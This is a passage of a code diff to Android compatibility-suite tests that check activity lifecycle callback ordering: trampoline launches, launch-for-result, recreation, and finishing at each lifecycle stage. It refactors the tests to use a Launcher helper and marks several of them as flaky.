+ Arrays.asList(ON_DESTROY), "destroyOnBottom");
+ LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+ "destroyOnBottom");
+ }
+
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishAndLaunchOnResult() throws Exception {
+ testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESULT);
+ }
+
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishAndLaunchAfterOnResultInOnResume() throws Exception {
+ testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT);
+ }
+
+ /**
+ * This triggers launch of an activity for result, which immediately finishes. After receiving
+ * result new activity launch is triggered automatically.
+ * @see android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity
+ */
+ private void testLaunchForResultAndLaunchAfterResultSequence(String flag) throws Exception {
+ new Launcher(LaunchForResultActivity.class)
+ .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+ .setExtraFlags(flag)
+ .setExpectedState(ON_STOP)
+ .setNoInstance()
+ .launch();
+
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
+ state(ResultActivity.class, ON_DESTROY));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ // Base launching activity starting.
+ transition(LaunchForResultActivity.class, PRE_ON_CREATE),
+ transition(LaunchForResultActivity.class, ON_CREATE),
+ transition(LaunchForResultActivity.class, ON_START),
+ transition(LaunchForResultActivity.class, ON_POST_CREATE),
+ transition(LaunchForResultActivity.class, ON_RESUME),
+ transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
+ // An activity is automatically launched for result.
+ transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
+ transition(LaunchForResultActivity.class, ON_PAUSE),
+ transition(ResultActivity.class, PRE_ON_CREATE),
+ transition(ResultActivity.class, ON_CREATE),
+ transition(ResultActivity.class, ON_START),
+ transition(ResultActivity.class, ON_RESUME),
+ transition(ResultActivity.class, ON_TOP_POSITION_GAINED),
+ // Activity that was launched for result is finished automatically - the base
+ // launching activity is brought to front.
+ transition(LaunchForResultActivity.class, ON_ACTIVITY_RESULT),
+ transition(LaunchForResultActivity.class, ON_RESUME),
+ transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
+ // New activity is launched after receiving result in base activity.
+ transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
+ transition(LaunchForResultActivity.class, ON_PAUSE),
+ transition(CallbackTrackingActivity.class, PRE_ON_CREATE),
+ transition(CallbackTrackingActivity.class, ON_CREATE),
+ transition(CallbackTrackingActivity.class, ON_START),
+ transition(CallbackTrackingActivity.class, ON_RESUME),
+ transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
+ "launchForResultAndLaunchAfterOnResult");
+ }
+
+ @Test
+ @FlakyTest(bugId=127741025)
public void testLaunchAndDestroy() throws Exception {
- final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity activity = launchActivityAndWait(FirstActivity.class);
activity.finish();
waitAndAssertActivityStates(state(activity, ON_DESTROY));
@@ -283,10 +352,99 @@
LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
}
+ @FlakyTest(bugId = 139808754)
+ @Test
+ public void testTrampoline() throws Exception {
+ testTrampolineLifecycle(false /* newTask */);
+ }
+
+ @FlakyTest(bugId = 139808754)
+ @Test
+ public void testTrampolineNewTask() throws Exception {
+ testTrampolineLifecycle(true /* newTask */);
+ }
+
+ /**
+ * Verifies that activity start from a trampoline will have the correct lifecycle and complete
+ * in time. The expected lifecycle is that the trampoline will skip ON_START - ON_STOP part of
+ * the usual sequence, and will go straight to ON_DESTROY after creation.
+ */
+ private void testTrampolineLifecycle(boolean newTask) throws Exception {
+ // Run activity start manually (without using instrumentation) to make it async and measure
+ // time from the request correctly.
+ // TODO verify
+ final Launcher launcher = new Launcher(NoDisplayActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setExtraFlags(EXTRA_LAUNCH_ACTIVITY, EXTRA_FINISH_IN_ON_CREATE)
+ .setExpectedState(ON_DESTROY)
+ .setNoInstance();
+ if (newTask) {
+ launcher.setExtraFlags(EXTRA_NEW_TASK);
+ }
+ launcher.launch();
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+
+ LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ transition(NoDisplayActivity.class, PRE_ON_CREATE),
+ transition(NoDisplayActivity.class, ON_CREATE),
+ transition(CallbackTrackingActivity.class, PRE_ON_CREATE),
+ transition(CallbackTrackingActivity.class, ON_CREATE),
+ transition(CallbackTrackingActivity.class, ON_START),
+ transition(CallbackTrackingActivity.class, ON_POST_CREATE),
+ transition(CallbackTrackingActivity.class, ON_RESUME),
+ transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
+ transition(NoDisplayActivity.class, ON_DESTROY)),
+ getLifecycleLog(), "trampolineLaunch");
+ }
+
+ /** @see #testTrampolineWithAnotherProcess */
+ @Test
+ public void testTrampolineAnotherProcessNewTask() {
+ testTrampolineWithAnotherProcess();
+ }
+
+ /**
+ * Same as {@link #testTrampolineAnotherProcessNewTask()}, but with a living second process.
+ */
+ @Test
+ @FlakyTest(bugId=127741025)
+ public void testTrampolineAnotherExistingProcessNewTask() {
+ // Start the second process before running the test. It is to make a specific path that the
+ // the activity may be started when checking visibility instead of attaching its process.
+ mContext.startActivity(new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ waitAndAssertActivityStates(
+ state(SecondProcessCallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+ getLifecycleLog().clear();
+
+ testTrampolineWithAnotherProcess();
+ }
+
+ /**
+ * Simulates X starts Y in the same task, and Y starts Z in another task then finishes itself:
+ * <pre>
+ * Top Task B: SecondProcessCallbackTrackingActivity (Z)
+ * Task A: SecondProcessCallbackTrackingActivity (Y) (finishing)
+ * FirstActivity (X)
+ * </pre>
+ * Expect Y to become invisible and then destroyed when the transition is done.
+ */
+ private void testTrampolineWithAnotherProcess() {
+ // Use another process so its lifecycle won't be affected by the caller activity.
+ final Intent intent2 = new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+ final Intent intent1 = new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+ .putExtra(EXTRA_START_ACTIVITY_IN_ON_CREATE, intent2)
+ .putExtra(EXTRA_FINISH_IN_ON_CREATE, true);
+ mContext.startActivity(new Intent(mContext, FirstActivity.class)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .putExtra(EXTRA_START_ACTIVITY_WHEN_IDLE, intent1));
+ waitAndAssertActivityStates(state(SecondProcessCallbackTrackingActivity.class, ON_DESTROY));
+ }
+
@Test
public void testRelaunchResumed() throws Exception {
- final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_RESUME));
+ final Activity activity = launchActivityAndWait(FirstActivity.class);
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(activity::recreate);
@@ -297,12 +455,10 @@
@Test
public void testRelaunchPaused() throws Exception {
- final Activity pausedActivity = mFirstActivityTestRule.launchActivity(new Intent());
- final Activity topTranslucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ final Activity pausedActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
- waitAndAssertActivityStates(state(pausedActivity, ON_PAUSE),
- state(topTranslucentActivity, ON_RESUME));
+ waitAndAssertActivityStates(occludedActivityState(pausedActivity, translucentActivity));
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(pausedActivity::recreate);
@@ -313,18 +469,17 @@
@Test
public void testRelaunchStopped() throws Exception {
- final Activity stoppedActivity = mFirstActivityTestRule.launchActivity(new Intent());
- final Activity topActivity = mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity stoppedActivity = launchActivityAndWait(FirstActivity.class);
+ launchActivityAndWait(SecondActivity.class);
- waitAndAssertActivityStates(
- occludedActivityState(stoppedActivity, topActivity), state(topActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(stoppedActivity::recreate);
- waitAndAssertActivityStates(occludedActivityState(stoppedActivity, topActivity));
+ waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(),
- occludedActivityState(isTranslucent(topActivity)));
+ ON_STOP);
}
@Test
@@ -334,69 +489,66 @@
return;
}
- final Activity becomingVisibleActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
- final Activity topOpaqueActivity = mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+ final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
waitAndAssertActivityStates(
- occludedActivityState(becomingVisibleActivity, topOpaqueActivity),
- occludedActivityState(translucentActivity, topOpaqueActivity),
- state(topOpaqueActivity, ON_RESUME));
+ state(becomingVisibleActivity, ON_STOP),
+ state(translucentActivity, ON_STOP));
- try (final RotationSession rotationSession = new RotationSession()) {
- if (!supportsLockedUserRotation(
- rotationSession, translucentActivity.getDisplay().getDisplayId())) {
- return;
- }
-
- getLifecycleLog().clear();
-
- final int current = rotationSession.get();
- // Set new rotation to cause a configuration change.
- switch (current) {
- case ROTATION_0:
- case ROTATION_180:
- rotationSession.set(ROTATION_90);
- break;
- case ROTATION_90:
- case ROTATION_270:
- rotationSession.set(ROTATION_0);
- break;
- default:
- fail("Unknown rotation:" + current);
- }
-
- // Assert that the top activity was relaunched.
- waitAndAssertActivityStates(state(topOpaqueActivity, ON_RESUME));
- LifecycleVerifier.assertRelaunchSequence(
- SecondActivity.class, getLifecycleLog(), ON_RESUME);
-
- // Finish the top activity
- getLifecycleLog().clear();
- mSecondActivityTestRule.finishActivity();
-
- // Assert that the translucent activity and the activity visible behind it were
- // relaunched.
- waitAndAssertActivityStates(state(becomingVisibleActivity, ON_PAUSE),
- state(translucentActivity, ON_RESUME));
-
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME,
- ON_PAUSE), "becomingVisiblePaused");
- final List<LifecycleLog.ActivityCallback> expectedSequence =
- Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME);
- LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
- expectedSequence, "becomingVisibleResumed");
+ final RotationSession rotationSession = createManagedRotationSession();
+ if (!supportsLockedUserRotation(
+ rotationSession, translucentActivity.getDisplay().getDisplayId())) {
+ return;
}
+
+ getLifecycleLog().clear();
+
+ final int current = rotationSession.get();
+ // Set new rotation to cause a configuration change.
+ switch (current) {
+ case ROTATION_0:
+ case ROTATION_180:
+ rotationSession.set(ROTATION_90);
+ break;
+ case ROTATION_90:
+ case ROTATION_270:
+ rotationSession.set(ROTATION_0);
+ break;
+ default:
+ fail("Unknown rotation:" + current);
+ }
+
+ // Assert that the top activity was relaunched.
+ waitAndAssertActivityStates(state(topOpaqueActivity, ON_RESUME));
+ LifecycleVerifier.assertRelaunchSequence(
+ SecondActivity.class, getLifecycleLog(), ON_RESUME);
+
+ // Finish the top activity
+ getLifecycleLog().clear();
+ topOpaqueActivity.finish();
+
+ // Assert that the translucent activity and the activity visible behind it were
+ // relaunched.
+ waitAndAssertActivityStates(state(becomingVisibleActivity, ON_PAUSE),
+ state(translucentActivity, ON_RESUME));
+
+ LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME,
+ ON_PAUSE), "becomingVisiblePaused");
+ final List<LifecycleLog.ActivityCallback> expectedSequence =
+ Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME);
+ LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
+ expectedSequence, "becomingVisibleResumed");
}
@Test
+ @FlakyTest(bugId=127741025)
public void testOnActivityResult() throws Exception {
- final Intent intent = new Intent();
- intent.putExtra(EXTRA_FINISH_IN_ON_RESUME, true);
- mLaunchForResultActivityTestRule.launchActivity(intent);
+ new Launcher(LaunchForResultActivity.class)
+ .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+ .launch();
final List<LifecycleLog.ActivityCallback> expectedSequence =
Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
@@ -427,11 +579,12 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testOnActivityResultAfterStop() throws Exception {
- final Intent intent = new Intent();
- intent.putExtra(EXTRA_FINISH_AFTER_RESUME, true);
- mLaunchForResultActivityTestRule.launchActivity(intent);
- final boolean isTranslucent = isTranslucent(mLaunchForResultActivityTestRule.getActivity());
+ final Activity activity = new Launcher(LaunchForResultActivity.class)
+ .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_AFTER_RESUME))
+ .launch();
+ final boolean isTranslucent = isTranslucent(activity);
final List<List<LifecycleLog.ActivityCallback>> expectedSequences;
if (isTranslucent) {
@@ -459,25 +612,8 @@
}
@Test
- public void testOnPostCreateAfterCreate() throws Exception {
- final Activity callbackTrackingActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_TOP_POSITION_GAINED));
-
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
- Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
- ON_TOP_POSITION_GAINED),"create");
- }
-
- @Test
public void testOnPostCreateAfterRecreateInOnResume() throws Exception {
- // Launch activity
- final Activity trackingActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- // Wait for activity to resume
- waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
+ final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Call "recreate" and assert sequence
getLifecycleLog().clear();
@@ -492,24 +628,20 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testOnPostCreateAfterRecreateInOnPause() throws Exception {
- // Launch activity
- final Activity trackingActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- // Wait for activity to resume
- waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
+ final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Launch translucent activity, which will make the first one paused.
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
// Wait for first activity to become paused
- waitAndAssertActivityStates(state(trackingActivity, ON_PAUSE));
+ waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
// Call "recreate" and assert sequence
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(trackingActivity::recreate);
- waitAndAssertActivityStates(state(trackingActivity, ON_PAUSE));
+ waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
getLifecycleLog(),
@@ -521,26 +653,16 @@
@Test
public void testOnPostCreateAfterRecreateInOnStop() throws Exception {
// Launch first activity
- final Activity trackingActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- // Wait for activity to resume
- waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
-
+ final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
// Launch second activity to cover and stop first
- final Activity secondActivity =
- mSecondActivityTestRule.launchActivity(new Intent());
-
- // Wait for second activity to become resumed
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
// Wait for first activity to become stopped
- waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
+ waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
// Call "recreate" and assert sequence
getLifecycleLog().clear();
getInstrumentation().runOnMainSync(trackingActivity::recreate);
- waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
+ waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
final List<LifecycleLog.ActivityCallback> callbacks;
if (isTranslucent(secondActivity)) {
@@ -568,8 +690,8 @@
builder.execute();
// Start activity in another process to put original activity in background.
- mFirstActivityTestRule.launchActivity(new Intent());
- final boolean isTranslucent = isTranslucent(mFirstActivityTestRule.getActivity());
+ final Activity testActivity = launchActivityAndWait(FirstActivity.class);
+ final boolean isTranslucent = isTranslucent(testActivity);
mAmWmState.waitForActivityState(
targetActivity, isTranslucent ? STATE_PAUSED : STATE_STOPPED);
@@ -596,29 +718,26 @@
@Test
public void testLocalRecreate() throws Exception {
// Launch the activity that will recreate itself
- Activity recreatingActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
+ final Activity recreatingActivity = launchActivityAndWait(SingleTopActivity.class);
// Launch second activity to cover and stop first
- Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for first activity to become stopped
- final boolean secondActivityIsTranslucent = ActivityInfo.isTranslucentOrFloating(
- secondActivity.getWindow().getWindowStyle());
- waitAndAssertActivityStates(
- occludedActivityState(recreatingActivity, secondActivityIsTranslucent),
- state(secondActivity, ON_RESUME));
+ // Wait for first activity to become occluded
+ waitAndAssertActivityStates(state(recreatingActivity, ON_STOP));
// Launch the activity again to recreate
getLifecycleLog().clear();
- final Intent intent = new Intent(mContext, SingleTopActivity.class);
- intent.putExtra(EXTRA_RECREATE, true);
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(intent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setExtraFlags(EXTRA_RECREATE)
+ .launch();
// Wait for activity to relaunch and resume
final List<LifecycleLog.ActivityCallback> expectedRelaunchSequence;
- if (secondActivityIsTranslucent) {
+ if (isTranslucent(secondActivity)) {
expectedRelaunchSequence = Arrays.asList(ON_NEW_INTENT, ON_RESUME,
ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
@@ -638,21 +757,16 @@
@Test
public void testOnNewIntent() throws Exception {
// Launch a singleTop activity
- final Activity singleTopActivity =
- mSingleTopActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(SingleTopActivity.class);
- // Wait for the activity to resume
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
// Try to launch again
getLifecycleLog().clear();
- final Intent intent = new Intent(mContext, SingleTopActivity.class);
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(intent);
-
- // Wait for the activity to resume again
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setNoInstance()
+ .launch();
// Verify that the first activity was paused, new intent was delivered and resumed again
LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
@@ -663,30 +777,22 @@
@Test
public void testOnNewIntentFromHidden() throws Exception {
// Launch a singleTop activity
- final Activity singleTopActivity =
- mSingleTopActivityTestRule.launchActivity(new Intent());
-
- // Wait for the activity to resume
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
// Launch something on top
- final Intent newTaskIntent = new Intent();
- newTaskIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(newTaskIntent);
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for the activity to resume
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
- waitAndAssertActivityStates(occludedActivityState(singleTopActivity, secondActivity));
+ waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
// Try to launch again
getLifecycleLog().clear();
- final Intent intent = new Intent(mContext, SingleTopActivity.class);
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mTargetContext.startActivity(intent);
-
- // Wait for the activity to resume again
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setNoInstance()
+ .launch();
// Verify that the first activity was restarted, new intent was delivered and resumed again
final List<LifecycleLog.ActivityCallback> expectedSequence;
@@ -703,24 +809,21 @@
@Test
public void testOnNewIntentFromPaused() throws Exception {
// Launch a singleTop activity
- final Activity singleTopActivity =
- mSingleTopActivityTestRule.launchActivity(new Intent());
-
- // Wait for the activity to resume
- waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+ final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
// Launch translucent activity, which will make the first one paused.
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(TranslucentActivity.class);
- // Wait for the activity to pause
+ // Wait for the activity below to pause
waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
// Try to launch again
getLifecycleLog().clear();
- final Intent intent = new Intent(mContext, SingleTopActivity.class);
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP);
- mTargetContext.startActivity(intent);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+ .setNoInstance()
+ .launch();
// Wait for the activity to resume again
// Verify that the new intent was delivered and resumed again
@@ -730,4 +833,131 @@
LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
expectedSequence, "newIntent");
}
+
+ @Test
+ public void testFinishInOnCreate() throws Exception {
+ verifyFinishAtStage( ResultActivity.class, EXTRA_FINISH_IN_ON_CREATE,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_DESTROY), "onCreate");
+ }
+
+ @Test
+ public void testFinishInOnCreateNoDisplay() throws Exception {
+ verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_CREATE,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_DESTROY), "onCreate");
+ }
+
+ @Test
+ @FlakyTest(bugId=127741025)
+ public void testFinishInOnStart() throws Exception {
+ verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_START,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_STOP,
+ ON_DESTROY), "onStart");
+ }
+
+ @Test
+ @FlakyTest(bugId=127741025)
+ public void testFinishInOnStartNoDisplay() throws Exception {
+ verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_START,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_STOP,
+ ON_DESTROY), "onStart");
+ }
+
+ @Test
+ @FlakyTest(bugId=127741025)
+ public void testFinishInOnResume() throws Exception {
+ verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_RESUME,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+ ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+ ON_DESTROY), "onResume");
+ }
+
+ @Test
+ public void testFinishInOnResumeNoDisplay() throws Exception {
+ verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_RESUME,
+ Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+ ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+ ON_DESTROY), "onResume");
+ }
+
+ private void verifyFinishAtStage(Class<? extends Activity> activityClass,
+ String finishStageExtra, List<LifecycleLog.ActivityCallback> expectedSequence,
+ String stageName) throws Exception {
+ new Launcher(activityClass)
+ .setExpectedState(ON_DESTROY)
+ .setExtraFlags(finishStageExtra)
+ .setNoInstance()
+ .launch();
+
+ waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
+ }
+
+ @Test
+ @FlakyTest(bugId=127741025)
+ public void testFinishInOnPause() throws Exception {
+ verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
+ TranslucentActivity.class);
+ }
+
+ @Test
+ public void testFinishInOnStop() throws Exception {
+ verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_STOP, "onStop",
+ FirstActivity.class);
+ }
+
+ @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+ @Test
+ public void testFinishBelowDialogActivity() throws Exception {
+ verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
+ TranslucentCallbackTrackingActivity.class);
+ }
+
+ private void verifyFinishAtStage(Class<? extends Activity> activityClass,
+ String finishStageExtra, String stageName, Class<? extends Activity> launchOnTopClass)
+ throws Exception {
+
+ // Activity will finish itself after onResume, so need to launch an extra activity on
+ // top to get it there.
+ new Launcher(activityClass)
+ .setExtraFlags(finishStageExtra)
+ .launch();
+
+ // Launch an activity on top, which will make the first one paused or stopped.
+ launchActivityAndWait(launchOnTopClass);
+
+ final List<LifecycleLog.ActivityCallback> expectedSequence =
+ LifecycleVerifier.getLaunchAndDestroySequence(activityClass);
+ waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
+ }
+
+ @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+ @Test
+ public void testFinishBelowTranslucentActivityAfterDelay() throws Exception {
+ final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+
+ launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
+ waitAndAssertActivityStates(state(bottomActivity, ON_PAUSE));
+ getLifecycleLog().clear();
+
+ waitForIdle();
+ bottomActivity.finish();
+ waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+ LifecycleVerifier.assertEmptySequence(TranslucentCallbackTrackingActivity.class,
+ getLifecycleLog(), "finishBelow");
+ }
+
+ @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+ @Test
+ public void testFinishBelowFullscreenActivityAfterDelay() throws Exception {
+ final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+
+ launchActivityAndWait(FirstActivity.class);
+ waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
+ getLifecycleLog().clear();
+
+ waitForIdle();
+ bottomActivity.finish();
+ waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+ LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+ "finishBelow");
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index b047127..04b8966 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -16,9 +16,11 @@
package android.server.wm.lifecycle;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
@@ -37,8 +39,7 @@
import static android.server.wm.lifecycle.LifecycleVerifier.transition;
import static android.view.Display.DEFAULT_DISPLAY;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import static androidx.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
